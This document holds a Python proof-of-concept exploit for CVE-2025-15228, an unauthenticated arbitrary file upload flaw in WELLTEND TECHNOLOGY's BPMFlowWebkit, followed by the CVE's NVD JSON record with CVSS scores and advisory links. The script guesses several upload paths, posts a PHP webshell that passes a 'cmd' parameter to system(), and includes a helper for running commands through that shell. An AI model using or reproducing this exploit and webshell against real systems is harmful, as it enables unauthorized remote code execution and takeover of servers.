CVE-2025-15228

import requests import sys # CVE-2025-15228 PoC - BPMFlowWebkit Arbitrary File Upload # Target: BPMFlowWebkit by WELLTEND TECHNOLOGY # Vulnerability: Unauthenticated arbitrary file upload leading to RCE def upload_webshell(target_url, webshell_content): """ Upload malicious webshell to vulnerable BPMFlowWebkit server """ # Construct upload endpoint (common paths for BPMFlowWebkit) upload_paths = [ '/upload', '/file/upload', '/bpm/upload', '/api/upload', '/admin/upload' ] for path in upload_paths: upload_url = target_url.rstrip('/') + path files = { 'file': ('shell.php', webshell_content, 'application/x-php') } try: response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: # Try to find the uploaded file path if 'upload' in response.text.lower() or 'success' in response.text.lower(): print(f'[+] Possible upload success at: {upload_url}') print(f'[+] Response: {response.text[:500]}') return True except requests.exceptions.RequestException as e: print(f'[-] Error on {upload_url}: {e}') return False def execute_command(shell_url, command): """ Execute system command via uploaded webshell """ try: params = {'cmd': command} response = requests.get(shell_url, params=params, timeout=10) return response.text except Exception as e: return f'Error: {e}' if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-15228.py <target_url>') sys.exit(1) target = sys.argv[1] # PHP webshell content webshell = b'<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' print('[*] CVE-2025-15228 - BPMFlowWebkit Arbitrary File Upload RCE') print(f'[*] Target: {target}') print('[*] Uploading webshell...') if upload_webshell(target, webshell): print('[+] Webshell uploaded successfully') print('[+] Example: python cve-2025-15228.py <shell_url>?cmd=whoami') else: print('[-] Upload failed or target may not be vulnerable')

{"cve": {"id": "CVE-2025-15228", "sourceIdentifier": "[email protected]", "published": "2025-12-29T08:15:51.820", "lastModified": "2025-12-31T20:31:32.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BPMFlowWebkit developed by WELLTEND TECHNOLOGY has a Arbitrary File Upload vulnerability, allowing unauthenticated remote attackers to upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:welltend:bpmflowwebkit:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.0.5", "matchCriteriaId": "D641A078-760B-47D1-8EF7-4E0E539BCB8F"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10605-426b6-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10604-c65aa-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}